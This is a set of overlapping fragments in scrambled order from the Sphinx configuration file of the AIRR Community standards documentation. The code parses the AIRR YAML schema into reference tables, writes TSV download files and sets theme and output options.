"# Load data for schemas with open(os.path.abspath('../specs/airr-schema.yaml')) as ip: airr_schema = yaml.load(ip, Loader=yamlordereddictloader.Loader)",
"attributes if 'x-airr' in attr: xairr = attr['x-airr'] nullable = xairr.get('nullable', True) deprecated",
"over schema and build reference tables data_elements = {} for spec in airr_schema:",
"break. # # # # Values: \"true\" (default) or \"false\" # 'globaltoc_includehidden': 'false',",
"('AIRR-C', 'http://airr-community.org', True)], # # # Render the next and previous page links",
"option). # # # # Currently, the supported themes are: # # -",
"# (name, \"http://example.com\", True) # arbitrary absolute url # # Note the \"1\"",
"Returns: list: list of dictionaries with parsed rows of the spec table. \"\"\"",
"'number': 'positive number', 'boolean': 'true | false'} # Get schema properties = schema[spec]['properties']",
"General information about the project. project = 'AIRR Standards' copyright = '2017-2021, AIRR",
"= [ (master_doc, 'airr-standards', 'airr-standards Documentation', author, 'airr-standards', 'One line description of project.',",
"from schema data ---------------------------------- # The version info for the project you're documenting,",
"version = str(airr_schema['Info']['version']) # The full version, including alpha/beta/rc tags. release = str(airr_schema['Info']['version'])",
"in range(0, len(string), str_length)] return ('\\n'.join(parts) + '\\n') else: return (string) def parse_schema(spec,",
"None) is not None: data_format = 'Controlled vocabulary: %s' % ', '.join(attr['enum']) elif",
"'navbar_class': 'navbar', # # # Fix navigation bar to top of page? #",
"to chop down long strings of the table def wrap_col(string, str_length=11): \"\"\" String",
"the LaTeX preamble. # # 'preamble': '', # Latex figure (float) alignment #",
"URL # app.add_stylesheet('submenus.css') # app.add_stylesheet(\"overrides.css\") rst_prolog =''' .. |br| raw:: html <br />",
"# # Global TOC depth for \"site\" navbar tab. (Default: 1) # #",
"html_context[spec + '_schema'] = data_elements[spec] # -- Write download tables ------------------------------------------------ # Write",
"MiAIRR TSV fields = ['Set', 'Subset', 'Designation', 'Field', 'Type', 'Format', 'Level', 'Definition', 'Example']",
"documentation build configuration file, created by # sphinx-quickstart on Fri Nov 17 14:47:21",
"TOC. (Default: \"Page\") # 'navbar_pagenav_name': 'Page', # # # Global TOC depth for",
"= data_elements[spec] # -- Write download tables ------------------------------------------------ # Write download spec files",
"'manual'), ] # -- Options for manual page output --------------------------------------- # One entry",
"navbar? # # # # Note: If this is \"false\", you cannot have",
"# (name, page) # a link to a page # # (name, \"/aa/bb\",",
"a link to a page # # (name, \"/aa/bb\", 1) # a link",
"% (sn, sn) elif attr['items'].get('type') is not None: data_type = 'array of %s'",
"with open(os.path.join(download_path, '%s.tsv' % spec), 'w') as f: writer = csv.DictWriter(f, fieldnames=fields, dialect='excel-tab',",
"in xairr: base_dic = xairr['ontology'] ontology_format = (str(base_dic['top_node']['id']), str(base_dic['top_node']['label']) ) # Replace name",
"if 'x-airr' in attr: xairr = attr['x-airr'] nullable = xairr.get('nullable', True) deprecated =",
"for mod_name in mock_modules) # -- General configuration ------------------------------------------------ # Setup # def",
"# Set data format for ontologies and controlled vocabularies if 'format' in xairr:",
"for doc tables Arguments: spec (str): name of the schema object schema (dict):",
"to show the default. # If extensions (or modules to document with autodoc)",
"HTML help htmlhelp_basename = 'airr-standardsdoc' # Alabaster options # html_theme = 'alabaster' #",
"values have a default; values that are commented out # serve to show",
"# built documents. # # The short X.Y version. version = str(airr_schema['Info']['version']) #",
"any paths that contain custom static files (such as style sheets) here, #",
"= ['sphinx.ext.autodoc', 'sphinx.ext.napoleon', 'sphinxcontrib.autoprogram', 'rstjinjaext'] # Define source file extensions source_suffix = ['.rst']",
"of the table def wrap_col(string, str_length=11): \"\"\" String wrap \"\"\" if [x for",
"tables: for r in data_elements[spec]: if r['Level'] and not r['Deprecated']: miairr_schema.append(r) writer.writerow(r) html_context['MiAIRR_schema']",
"# # ('AIRR-C', 'http://airr-community.org', True)], # # # Render the next and previous",
"= [] for prop, attr in properties.items(): # Standard attributes required_field = False",
"# Tab name for the current pages TOC. (Default: \"Page\") # 'navbar_pagenav_name': 'Page',",
"# Values: \"true\" (default) or \"false\" # 'navbar_fixed_top': 'true', # # # Location",
"= \"_static/AIRR_logo-only.png\" # Bootstrap options # html_theme = 'bootstrap' # html_theme_path = sphinx_bootstrap_theme.get_html_theme_path()",
"to a page # # (name, \"/aa/bb\", 1) # a link to an",
"contain custom static files (such as style sheets) here, # relative to this",
"to. # # Valid tuples should be in the following forms: # #",
"true, `todo` and `todoList` produce output, else they produce nothing. todo_include_todos = False",
"ip: airr_schema = yaml.load(ip, Loader=yamlordereddictloader.Loader) html_context = {'airr_schema': airr_schema} # Iterate over schema",
"a file named \"default.css\" will overwrite the builtin \"default.css\". html_static_path = ['_static'] #",
"'\\n') else: return (string) def parse_schema(spec, schema): \"\"\" Parse an AIRR schema object",
"'Attributes': field_attributes} table_rows.append(r) return(table_rows) # Load data for schemas with open(os.path.abspath('../specs/airr-schema.yaml')) as ip:",
"# app.add_stylesheet('submenus.css') # app.add_stylesheet(\"overrides.css\") rst_prolog =''' .. |br| raw:: html <br /> '''",
"are nothing (default) or the name of a valid theme # # such",
"Storage object data_elements[spec] = parse_schema(spec, airr_schema) # Update doc html_context html_context[spec + '_schema']",
"schema[spec]['properties'] required = schema[spec].get('required', None) # Iterate over properties table_rows = [] for",
"= ['Set', 'Subset', 'Designation', 'Field', 'Type', 'Format', 'Level', 'Definition', 'Example'] tables = ['Study',",
"# Can also be a full URL # app.add_stylesheet('submenus.css') # app.add_stylesheet(\"overrides.css\") rst_prolog ='''",
"to -1 shows all levels. # 'globaltoc_depth': 1, # # # Include hidden",
"# a link to an arbitrary relative url # # (name, \"http://example.com\", True)",
"# 'figure_align': 'htbp', } # Grouping the document tree into LaTeX files. List",
"spec in airr_schema: if 'properties' not in airr_schema[spec]: continue # Storage object data_elements[spec]",
"utf-8 -*- # # airr-standards documentation build configuration file, created by # sphinx-quickstart",
"\"Page\") # 'navbar_pagenav_name': 'Page', # # # Global TOC depth for \"site\" navbar",
"writer = csv.DictWriter(f, fieldnames=fields, dialect='excel-tab', extrasaction='ignore') writer.writeheader() for spec in tables: for r",
"# Get schema properties = schema[spec]['properties'] required = schema[spec].get('required', None) # Iterate over",
"the default. # If extensions (or modules to document with autodoc) are in",
"absolute url # # Note the \"1\" or \"True\" value above as the",
"tables = ['Study', 'Subject', 'Diagnosis', 'Sample', 'CellProcessing', 'NucleicAcidProcessing', 'PCRTarget', 'SequencingRun', 'RawSequenceData', 'DataProcessing'] #",
"Set data format for ontologies and controlled vocabularies if 'format' in xairr: if",
"modules extensions = ['sphinx.ext.autodoc', 'sphinx.ext.napoleon', 'sphinxcontrib.autoprogram', 'rstjinjaext'] # Define source file extensions source_suffix",
"'properties' not in airr_schema[spec]: continue # Storage object data_elements[spec] = parse_schema(spec, airr_schema) #",
"'', # Latex figure (float) alignment # # 'figure_align': 'htbp', } # Grouping",
"miairr_subset, 'Designation': title, 'Field': prop, 'Type': data_type, 'Format': data_format, 'Definition': description, 'Example': example,",
"= ['_templates'] # The master toctree document. master_doc = 'index' # General information",
"html_theme_path = sphinx_bootstrap_theme.get_html_theme_path() # html_sidebars = {'**': ['searchbox.html', 'globaltoc.html']} # html_sidebars = {'**':",
"'') # Arrays if data_type == 'array': if attr['items'].get('$ref') is not None: sn",
"% (sn, sn) # x-airr attributes if 'x-airr' in attr: xairr = attr['x-airr']",
"= ['_static'] # HTML help htmlhelp_basename = 'airr-standardsdoc' # Alabaster options # html_theme",
"dialect='excel-tab', extrasaction='ignore') writer.writeheader() writer.writerows(data_elements[spec]) # -- Site configuration from schema data ---------------------------------- #",
"attr.get('description', '') # Data type data_type = attr.get('type', '') data_format = data_type_map.get(data_type, '')",
"vocabulary': if attr.get('enum', None) is not None: data_format = 'Controlled vocabulary: %s' %",
"-- Options for Texinfo output ------------------------------------------- # Grouping the document tree into Texinfo",
"texinfo_documents = [ (master_doc, 'airr-standards', 'airr-standards Documentation', author, 'airr-standards', 'One line description of",
"'Type', 'Format', 'Level', 'Definition', 'Example'] tables = ['Study', 'Subject', 'Diagnosis', 'Sample', 'CellProcessing', 'NucleicAcidProcessing',",
"this is \"false\", you cannot have mixed ``:hidden:`` and # # non-hidden ``toctree``",
"ignore when looking for source files. exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] # Add",
"master_doc = 'index' # General information about the project. project = 'AIRR Standards'",
"produce nothing. todo_include_todos = False # -- Options for HTML output ------------------------------------------ #",
"for spec in tables: with open(os.path.join(download_path, '%s.tsv' % spec), 'w') as f: writer",
"of the spec table. \"\"\" data_type_map = {'string': 'free text', 'integer': 'positive integer',",
"html_theme = 'alabaster' # html_theme_options = {'github_user': 'airr-community', # 'github_repo': 'airr-standards', # 'github_button':",
"tree into LaTeX files. List of tuples # (source start file, target name,",
"(name, \"/aa/bb\", 1) # a link to an arbitrary relative url # #",
"build configuration file, created by # sphinx-quickstart on Fri Nov 17 14:47:21 2017.",
"= attr.get('$ref').split('/')[-1] data_type = ':ref:`%s <%sFields>`' % (sn, sn) # x-airr attributes if",
"and |release|, also used in various other places throughout the # built documents.",
"false'} # Get schema properties = schema[spec]['properties'] required = schema[spec].get('required', None) # Iterate",
"value) # 'navbar_title': 'AIRR Community Standards', # # # Tab name for entire",
"# # Options are nothing (default) or the name of a valid theme",
"# an arbitrary url. # # 'navbar_links': [('GitHub', 'https://github.com/airr-community/airr-standards', True), # # ('AIRR-C',",
"attr['items']['type'] elif attr.get('$ref') == '#/Ontology': data_type = ':ref:`Ontology <OntoVoc>`' elif attr.get('$ref') is not",
"yamlordereddictloader from unittest.mock import MagicMock # -- Python environment ---------------------------------------------------- # Python system",
"# # (name, page) # a link to a page # # (name,",
"One entry per manual page. List of tuples # (source start file, name,",
"# (name, \"/aa/bb\", 1) # a link to an arbitrary relative url #",
"+ str_length].strip() for i in range(0, len(string), str_length)] return ('\\n'.join(parts) + '\\n') else:",
"fieldnames=fields, dialect='excel-tab', extrasaction='ignore') writer.writeheader() for spec in tables: for r in data_elements[spec]: if",
"for spec in tables: for r in data_elements[spec]: if r['Level'] and not r['Deprecated']:",
"# # # Render the current pages TOC in the navbar. (Default: true)",
"as the third argument to indicate # # an arbitrary url. # #",
"deprecated = xairr.get('deprecated', False) identifier = xairr.get('identifier', False) # MiAIRR attributes miairr_level =",
"'Ontology: { top_node: { id: %s, value: %s}}' % (ontology_format) # Get 'type'",
"'positive number', 'boolean': 'true | false'} # Get schema properties = schema[spec]['properties'] required",
"in attr: xairr = attr['x-airr'] nullable = xairr.get('nullable', True) deprecated = xairr.get('deprecated', False)",
"= \"pydata_sphinx_theme\" html_theme = \"sphinx_book_theme\" html_logo = \"_static/AIRR_logo-only.png\" # Bootstrap options # html_theme",
"Return dictionary r = {'Name': prop, 'Set': miairr_set, 'Subset': miairr_subset, 'Designation': title, 'Field':",
"= attr['x-airr'] nullable = xairr.get('nullable', True) deprecated = xairr.get('deprecated', False) identifier = xairr.get('identifier',",
"The font size ('10pt', '11pt' or '12pt'). # # 'pointsize': '10pt', # Additional",
"page # # (name, \"/aa/bb\", 1) # a link to an arbitrary relative",
"required else True title = attr.get('title', '') example = attr.get('example', '') description =",
"sn = attr.get('$ref').split('/')[-1] data_type = ':ref:`%s <%sFields>`' % (sn, sn) # x-airr attributes",
"# # # Values: \"true\" (default) or \"false\" # 'globaltoc_includehidden': 'false', # #",
"to this directory. templates_path = ['_templates'] # The master toctree document. master_doc =",
"``project`` value) # 'navbar_title': 'AIRR Community Standards', # # # Tab name for",
"For black navbar, do \"navbar navbar-inverse\" # 'navbar_class': 'navbar', # # # Fix",
"and # # non-hidden ``toctree`` directives in the same page, or else the",
"True title = attr.get('title', '') example = attr.get('example', '') description = attr.get('description', '')",
"if r['Level'] and not r['Deprecated']: miairr_schema.append(r) writer.writerow(r) html_context['MiAIRR_schema'] = miairr_schema # Write individual",
"for manual page output --------------------------------------- # One entry per manual page. List of",
"List of tuples # (source start file, name, description, authors, manual section). man_pages",
"{ top_node: { id: %s, value: %s}}' % (ontology_format) # Get 'type' for",
"{ # # Navigation bar title. (Default: ``project`` value) # 'navbar_title': 'AIRR Community",
"# The paper size ('letterpaper' or 'a4paper'). # # 'papersize': 'letterpaper', # The",
"'bash' pygments_style = 'vs' # If true, `todo` and `todoList` produce output, else",
"xairr.get('subset', '') # Set data format for ontologies and controlled vocabularies if 'format'",
"an arbitrary relative url # # (name, \"http://example.com\", True) # arbitrary absolute url",
"Tab name for the current pages TOC. (Default: \"Page\") # 'navbar_pagenav_name': 'Page', #",
"return(table_rows) # Load data for schemas with open(os.path.abspath('../specs/airr-schema.yaml')) as ip: airr_schema = yaml.load(ip,",
"for ontology example = 'id: %s, value: %s' % (example['id'], example['label']) elif xairr['format']",
"'airr-standards', 'One line description of project.', 'Miscellaneous'), ] # -- Build schema reference",
"themes are: # # - Bootstrap 2: https://bootswatch.com/2 # # - Bootstrap 3:",
"# Note the \"1\" or \"True\" value above as the third argument to",
"str_length=11): \"\"\" String wrap \"\"\" if [x for x in string.split(' ') if",
"show the default. # If extensions (or modules to document with autodoc) are",
"# -- Imports ---------------------------------------------------------------- import csv import os import sys import yaml import",
"previous page links in navbar. (Default: true) # 'navbar_sidebarrel': True, # # #",
"# Values: \"3\" (default) or \"2\" (in quotes) # 'bootstrap_version': '2', # }",
"\"false\" # 'navbar_fixed_top': 'true', # # # Location of link to source. #",
"source files. exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] # Add any paths that contain",
"is not None: sn = attr.get('$ref').split('/')[-1] data_type = ':ref:`%s <%sFields>`' % (sn, sn)",
"(str(base_dic['top_node']['id']), str(base_dic['top_node']['label']) ) # Replace name with url-linked name data_format = 'Ontology: {",
"'sidebar_includehidden': True, # 'sidebar_width': '300px', # 'extra_nav_links': {'AIRR Community': 'http://airr-community.org'}} # html_sidebars =",
"string.split(' ') if len(x) > 25]: parts = [string[i:i + str_length].strip() for i",
"\"/aa/bb\", 1) # a link to an arbitrary relative url # # (name,",
"'UnrearrangedSequence', 'SequenceDelineationV', 'AlleleDescription', 'GermlineSet', 'GenotypeSet', 'Genotype', 'MHCGenotypeSet', 'MHCGenotype'] for spec in tables: with",
"'PCRTarget', 'SequencingRun', 'RawSequenceData', 'DataProcessing', 'Rearrangement', 'Alignment', 'Clone', 'Tree', 'Node', 'Cell', 'RearrangedSequence', 'UnrearrangedSequence', 'SequenceDelineationV',",
"patterns, relative to source directory, that match files and # directories to ignore",
"alignment # # 'figure_align': 'htbp', } # Grouping the document tree into LaTeX",
"navbar, do \"navbar navbar-inverse\" # 'navbar_class': 'navbar', # # # Fix navigation bar",
"= ':ref:`Ontology <OntoVoc>`' elif attr.get('$ref') is not None: sn = attr.get('$ref').split('/')[-1] data_type =",
"miairr_set = xairr.get('set', '') miairr_subset = xairr.get('subset', '') # Set data format for",
"style to use. highlight_language = 'bash' pygments_style = 'vs' # If true, `todo`",
"'Format', 'Level', 'Definition', 'Example'] tables = ['Study', 'Subject', 'Diagnosis', 'Sample', 'CellProcessing', 'NucleicAcidProcessing', 'PCRTarget',",
"[ (master_doc, 'airr-standards', 'airr-standards Documentation', [author], 1) ] # -- Options for Texinfo",
"|br| raw:: html <br /> ''' # Minimal Sphinx version needs_sphinx = '1.6'",
"airr-standards documentation build configuration file, created by # sphinx-quickstart on Fri Nov 17",
"in another directory, # add these directories to sys.path here. If the directory",
"Mock modules for ReadTheDocs if os.environ.get('READTHEDOCS', None) == 'True': class Mock(MagicMock): @classmethod def",
"same page, or else the build # # will break. # # #",
"is not None: sn = attr['items'].get('$ref').split('/')[-1] data_type = 'array of :ref:`%s <%sFields>`' %",
"# Navigation bar title. (Default: ``project`` value) # 'navbar_title': 'AIRR Community Standards', #",
"= False # -- Options for HTML output ------------------------------------------ # Add any paths",
"# 'navbar_sidebarrel': True, # # # Render the current pages TOC in the",
"or urls to link to. # # Valid tuples should be in the",
"font size ('10pt', '11pt' or '12pt'). # # 'pointsize': '10pt', # Additional stuff",
"'') miairr_set = xairr.get('set', '') miairr_subset = xairr.get('subset', '') # Set data format",
"or \"2\" (in quotes) # 'bootstrap_version': '2', # } # -- Options for",
"Write download spec files download_path = '_downloads' if not os.path.exists(download_path): os.mkdir(download_path) # Write",
"(name, page) # a link to a page # # (name, \"/aa/bb\", 1)",
"# # Values: \"3\" (default) or \"2\" (in quotes) # 'bootstrap_version': '2', #",
"# # # Location of link to source. # # Options are \"nav\"",
"'x-airr' in attr: xairr = attr['x-airr'] nullable = xairr.get('nullable', True) deprecated = xairr.get('deprecated',",
"all possible configuration values are present in this # autogenerated file. # #",
"a link to an arbitrary relative url # # (name, \"http://example.com\", True) #",
"True), # # ('AIRR-C', 'http://airr-community.org', True)], # # # Render the next and",
"or anything else to exclude. # 'source_link_position': 'none', # # # Bootswatch (http://bootswatch.com/)",
"'Diagnosis', 'Sample', 'CellProcessing', 'NucleicAcidProcessing', 'PCRTarget', 'SequencingRun', 'RawSequenceData', 'DataProcessing', 'Rearrangement', 'Alignment', 'Clone', 'Tree', 'Node',",
"'Miscellaneous'), ] # -- Build schema reference tables ---------------------------------------- # Function to chop",
"'airr-standards.tex', 'airr-standards Documentation', 'AIRR Community', 'manual'), ] # -- Options for manual page",
"the \"1\" or \"True\" value above as the third argument to indicate #",
"todo_include_todos = False # -- Options for HTML output ------------------------------------------ # Add any",
"unittest.mock import MagicMock # -- Python environment ---------------------------------------------------- # Python system path sys.path.append(os.path.abspath('.'))",
"app.add_stylesheet(\"overrides.css\") rst_prolog =''' .. |br| raw:: html <br /> ''' # Minimal Sphinx",
"reference tables data_elements = {} for spec in airr_schema: if 'properties' not in",
"['sphinx.ext.autodoc', 'sphinx.ext.napoleon', 'sphinxcontrib.autoprogram', 'rstjinjaext'] # Define source file extensions source_suffix = ['.rst'] #",
"LaTeX files. List of tuples # (source start file, target name, title, #",
"title, author, # dir menu entry, description, category) texinfo_documents = [ (master_doc, 'airr-standards',",
"for spec in airr_schema: if 'properties' not in airr_schema[spec]: continue # Storage object",
"TOCs in Site navbar? # # # # Note: If this is \"false\",",
"= 'Ontology: { top_node: { id: %s, value: %s}}' % (ontology_format) # Get",
"page) # a link to a page # # (name, \"/aa/bb\", 1) #",
"nothing. todo_include_todos = False # -- Options for HTML output ------------------------------------------ # Add",
"description, 'Example': example, 'Level': miairr_level, 'Required': required_field, 'Deprecated': deprecated, 'Nullable': nullable, 'Identifier': identifier,",
"for x in string.split(' ') if len(x) > 25]: parts = [string[i:i +",
"exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] # Add any paths that contain templates here,",
"xairr.get('miairr', '') miairr_set = xairr.get('set', '') miairr_subset = xairr.get('subset', '') # Set data",
"# # # Currently, the supported themes are: # # - Bootstrap 2:",
"required_field else 'optional', 'identifier' if identifier else '', 'nullable' if nullable else '']",
"'Cell', 'RearrangedSequence', 'UnrearrangedSequence', 'SequenceDelineationV', 'AlleleDescription', 'GermlineSet', 'GenotypeSet', 'Genotype', 'MHCGenotypeSet', 'MHCGenotype'] for spec in",
"spec table. \"\"\" data_type_map = {'string': 'free text', 'integer': 'positive integer', 'number': 'positive",
"as f: writer = csv.DictWriter(f, fieldnames=fields, dialect='excel-tab', extrasaction='ignore') writer.writeheader() for spec in tables:",
"'2', # } # -- Options for LaTeX output --------------------------------------------- latex_elements = {",
"version needs_sphinx = '1.6' # Sphinx extension modules extensions = ['sphinx.ext.autodoc', 'sphinx.ext.napoleon', 'sphinxcontrib.autoprogram',",
"reference tables ---------------------------------------- # Function to chop down long strings of the table",
"relative to the # documentation root, use os.path.abspath to make it absolute, like",
"Alabaster options # html_theme = 'alabaster' # html_theme_options = {'github_user': 'airr-community', # 'github_repo':",
"start file, target name, title, # author, documentclass [howto, manual, or own class]).",
"'airr-standards', 'airr-standards Documentation', [author], 1) ] # -- Options for Texinfo output -------------------------------------------",
"attach to <div> element. # # For black navbar, do \"navbar navbar-inverse\" #",
"def __getattr__(cls, name): return MagicMock() mock_modules = ['numpy', 'pandas'] sys.modules.update((mod_name, Mock()) for mod_name",
"else: return (string) def parse_schema(spec, schema): \"\"\" Parse an AIRR schema object for",
"Bootstrap # # that's used (the next config option). # # # #",
"':ref:`Ontology <OntoVoc>`' elif attr.get('$ref') is not None: sn = attr.get('$ref').split('/')[-1] data_type = ':ref:`%s",
"prop, 'Type': data_type, 'Format': data_format, 'Definition': description, 'Example': example, 'Level': miairr_level, 'Required': required_field,",
"class (Default: \"navbar\") to attach to <div> element. # # For black navbar,",
"Note: If this is \"false\", you cannot have mixed ``:hidden:`` and # #",
"created by # sphinx-quickstart on Fri Nov 17 14:47:21 2017. # # This",
"depth for \"site\" navbar tab. (Default: 1) # # Switching to -1 shows",
"'Field', 'Type', 'Format', 'Level', 'Definition', 'Example'] tables = ['Study', 'Subject', 'Diagnosis', 'Sample', 'CellProcessing',",
"Iterate over schema and build reference tables data_elements = {} for spec in",
"# such as \"cosmo\" or \"sandstone\". # # # # The set of",
"spec (str): name of the schema object schema (dict): master schema dictionary parsed",
"the yaml file. Returns: list: list of dictionaries with parsed rows of the",
"of dictionaries with parsed rows of the spec table. \"\"\" data_type_map = {'string':",
"# html_theme_path = sphinx_bootstrap_theme.get_html_theme_path() # html_sidebars = {'**': ['searchbox.html', 'globaltoc.html']} # html_sidebars =",
"arbitrary url. # # 'navbar_links': [('GitHub', 'https://github.com/airr-community/airr-standards', True), # # ('AIRR-C', 'http://airr-community.org', True)],",
"html_theme_options = {'github_user': 'airr-community', # 'github_repo': 'airr-standards', # 'github_button': True, # 'sidebar_includehidden': True,",
"and build reference tables data_elements = {} for spec in airr_schema: if 'properties'",
"%s' % ', '.join(attr['items']['enum']) else: nullable = True deprecated = False identifier =",
"(example['id'], example['label']) elif xairr['format'] == 'controlled vocabulary': if attr.get('enum', None) is not None:",
"for the LaTeX preamble. # # 'preamble': '', # Latex figure (float) alignment",
"Sphinx version needs_sphinx = '1.6' # Sphinx extension modules extensions = ['sphinx.ext.autodoc', 'sphinx.ext.napoleon',",
"-- General configuration ------------------------------------------------ # Setup # def setup(app): # # Can also",
"# Valid tuples should be in the following forms: # # (name, page)",
"attr.get('$ref') is not None: sn = attr.get('$ref').split('/')[-1] data_type = ':ref:`%s <%sFields>`' % (sn,",
"{'AIRR Community': 'http://airr-community.org'}} # html_sidebars = {'**': ['about.html', # 'navigation.html', # 'searchbox.html']} #",
"man_pages = [ (master_doc, 'airr-standards', 'airr-standards Documentation', [author], 1) ] # -- Options",
"html_theme = \"pydata_sphinx_theme\" html_theme = \"sphinx_book_theme\" html_logo = \"_static/AIRR_logo-only.png\" # Bootstrap options #",
"(dict): master schema dictionary parsed from the yaml file. Returns: list: list of",
"tuples should be in the following forms: # # (name, page) # a",
"# 'navbar_class': 'navbar', # # # Fix navigation bar to top of page?",
"= xairr.get('miairr', '') miairr_set = xairr.get('set', '') miairr_subset = xairr.get('subset', '') # Set",
"# 'github_button': True, # 'sidebar_includehidden': True, # 'sidebar_width': '300px', # 'extra_nav_links': {'AIRR Community':",
"not in airr_schema[spec]: continue # Storage object data_elements[spec] = parse_schema(spec, airr_schema) # Update",
"# HTML navbar class (Default: \"navbar\") to attach to <div> element. # #",
"# # Fix navigation bar to top of page? # # Values: \"true\"",
"('letterpaper' or 'a4paper'). # # 'papersize': 'letterpaper', # The font size ('10pt', '11pt'",
"[x for x in string.split(' ') if len(x) > 25]: parts = [string[i:i",
"build reference tables data_elements = {} for spec in airr_schema: if 'properties' not",
"The name of the Pygments (syntax highlighting) style to use. highlight_language = 'bash'",
"'w') as f: writer = csv.DictWriter(f, fieldnames=fields, dialect='excel-tab', extrasaction='ignore') writer.writeheader() for spec in",
"# Bootstrap options # html_theme = 'bootstrap' # html_theme_path = sphinx_bootstrap_theme.get_html_theme_path() # html_sidebars",
"output, else they produce nothing. todo_include_todos = False # -- Options for HTML",
"or own class]). latex_documents = [ (master_doc, 'airr-standards.tex', 'airr-standards Documentation', 'AIRR Community', 'manual'),",
"# # - Bootstrap 3: https://bootswatch.com/3 # 'bootswatch_theme': 'spacelab', # # # Choose",
"# # such as \"cosmo\" or \"sandstone\". # # # # The set",
"# The name of the Pygments (syntax highlighting) style to use. highlight_language =",
"# html_sidebars = {'**': ['globaltoc.html', 'sourcelink.html', 'searchbox.html']} # html_sidebars = {'**': ['searchbox.html', 'globaltoc.html']}",
"for ontologies and controlled vocabularies if 'format' in xairr: if xairr['format'] == 'ontology'",
"'Definition': description, 'Example': example, 'Level': miairr_level, 'Required': required_field, 'Deprecated': deprecated, 'Nullable': nullable, 'Identifier':",
"Sphinx extension modules extensions = ['sphinx.ext.autodoc', 'sphinx.ext.napoleon', 'sphinxcontrib.autoprogram', 'rstjinjaext'] # Define source file",
"spec in tables: for r in data_elements[spec]: if r['Level'] and not r['Deprecated']: miairr_schema.append(r)",
"Options for HTML output ------------------------------------------ # Add any paths that contain custom static",
"['globaltoc.html']} # html_sidebars = {'**': ['globaltoc.html', 'sourcelink.html', 'searchbox.html']} # html_sidebars = {'**': ['searchbox.html',",
"own class]). latex_documents = [ (master_doc, 'airr-standards.tex', 'airr-standards Documentation', 'AIRR Community', 'manual'), ]",
"else 'optional', 'identifier' if identifier else '', 'nullable' if nullable else ''] field_attributes",
"Write individual spec TSVs fields = ['Name', 'Type', 'Attributes', 'Definition'] tables = ['Repertoire',",
"> 25]: parts = [string[i:i + str_length].strip() for i in range(0, len(string), str_length)]",
"in data_elements[spec]: if r['Level'] and not r['Deprecated']: miairr_schema.append(r) writer.writerow(r) html_context['MiAIRR_schema'] = miairr_schema #",
"default; values that are commented out # serve to show the default. #",
"{} for spec in airr_schema: if 'properties' not in airr_schema[spec]: continue # Storage",
"Standards', # # # Tab name for entire site. (Default: \"Site\") # 'navbar_site_name':",
"and # directories to ignore when looking for source files. exclude_patterns = ['_build',",
"\"1\" or \"True\" value above as the third argument to indicate # #",
"schema dictionary parsed from the yaml file. Returns: list: list of dictionaries with",
"# # Can also be a full URL # app.add_stylesheet('submenus.css') # app.add_stylesheet(\"overrides.css\") rst_prolog",
"short X.Y version. version = str(airr_schema['Info']['version']) # The full version, including alpha/beta/rc tags.",
"static files, # so a file named \"default.css\" will overwrite the builtin \"default.css\".",
"name, title, # author, documentclass [howto, manual, or own class]). latex_documents = [",
"= {'**': ['globaltoc.html', 'sourcelink.html', 'searchbox.html']} # html_sidebars = {'**': ['searchbox.html', 'globaltoc.html']} # html_theme_options",
"If true, `todo` and `todoList` produce output, else they produce nothing. todo_include_todos =",
"['Repertoire', 'Study', 'Subject', 'Diagnosis', 'Sample', 'CellProcessing', 'NucleicAcidProcessing', 'PCRTarget', 'SequencingRun', 'RawSequenceData', 'DataProcessing', 'Rearrangement', 'Alignment',",
"# Arrays if data_type == 'array': if attr['items'].get('$ref') is not None: sn =",
"file, target name, title, # author, documentclass [howto, manual, or own class]). latex_documents",
"data_elements[spec]: if r['Level'] and not r['Deprecated']: miairr_schema.append(r) writer.writerow(r) html_context['MiAIRR_schema'] = miairr_schema # Write",
"True, # # # Tab name for the current pages TOC. (Default: \"Page\")",
"pages or urls to link to. # # Valid tuples should be in",
"file, name, description, authors, manual section). man_pages = [ (master_doc, 'airr-standards', 'airr-standards Documentation',",
"(string) def parse_schema(spec, schema): \"\"\" Parse an AIRR schema object for doc tables",
"\"3\" (default) or \"2\" (in quotes) # 'bootstrap_version': '2', # } # --",
"= 'AIRR Standards' copyright = '2017-2021, AIRR Community' author = 'AIRR Community' #",
"os import sys import yaml import yamlordereddictloader from unittest.mock import MagicMock # --",
"name of the schema object schema (dict): master schema dictionary parsed from the",
"[('GitHub', 'https://github.com/airr-community/airr-standards', True), # # ('AIRR-C', 'http://airr-community.org', True)], # # # Render the",
"True, # 'sidebar_width': '300px', # 'extra_nav_links': {'AIRR Community': 'http://airr-community.org'}} # html_sidebars = {'**':",
"that match files and # directories to ignore when looking for source files.",
"Community', 'manual'), ] # -- Options for manual page output --------------------------------------- # One",
"'Type': data_type, 'Format': data_format, 'Definition': description, 'Example': example, 'Level': miairr_level, 'Required': required_field, 'Deprecated':",
"in airr_schema: if 'properties' not in airr_schema[spec]: continue # Storage object data_elements[spec] =",
"use os.path.abspath to make it absolute, like shown here. # -- Imports ----------------------------------------------------------------",
"{'**': ['searchbox.html', 'globaltoc.html']} # html_theme_options = { # # Navigation bar title. (Default:",
"field_attributes = 'DEPRECATED' else: f = ['required' if required_field else 'optional', 'identifier' if",
"configuration values have a default; values that are commented out # serve to",
"execfile()d with the current directory set to its # containing dir. # #",
"or else the build # # will break. # # # # Values:",
"<div> element. # # For black navbar, do \"navbar navbar-inverse\" # 'navbar_class': 'navbar',",
"properties.items(): # Standard attributes required_field = False if required is None or prop",
"the same page, or else the build # # will break. # #",
"(source start file, name, description, authors, manual section). man_pages = [ (master_doc, 'airr-standards',",
"else the build # # will break. # # # # Values: \"true\"",
"html_sidebars = {'**': ['searchbox.html', 'globaltoc.html']} # html_sidebars = {'**': ['globaltoc.html']} # html_sidebars =",
"from unittest.mock import MagicMock # -- Python environment ---------------------------------------------------- # Python system path",
"# 'navbar_fixed_top': 'true', # # # Location of link to source. # #",
"# 'navbar_pagenav_name': 'Page', # # # Global TOC depth for \"site\" navbar tab.",
"not None: data_format = 'Controlled vocabulary: %s' % ', '.join(attr['items']['enum']) else: nullable =",
"or \"True\" value above as the third argument to indicate # # an",
"Load data for schemas with open(os.path.abspath('../specs/airr-schema.yaml')) as ip: airr_schema = yaml.load(ip, Loader=yamlordereddictloader.Loader) html_context",
"doc tables Arguments: spec (str): name of the schema object schema (dict): master",
"directory is relative to the # documentation root, use os.path.abspath to make it",
"version info for the project you're documenting, acts as replacement for # |version|",
"to this directory. They are copied after the builtin static files, # so",
"= True deprecated = False identifier = False miairr_level = '' miairr_set =",
"source_suffix = ['.rst'] # List of patterns, relative to source directory, that match",
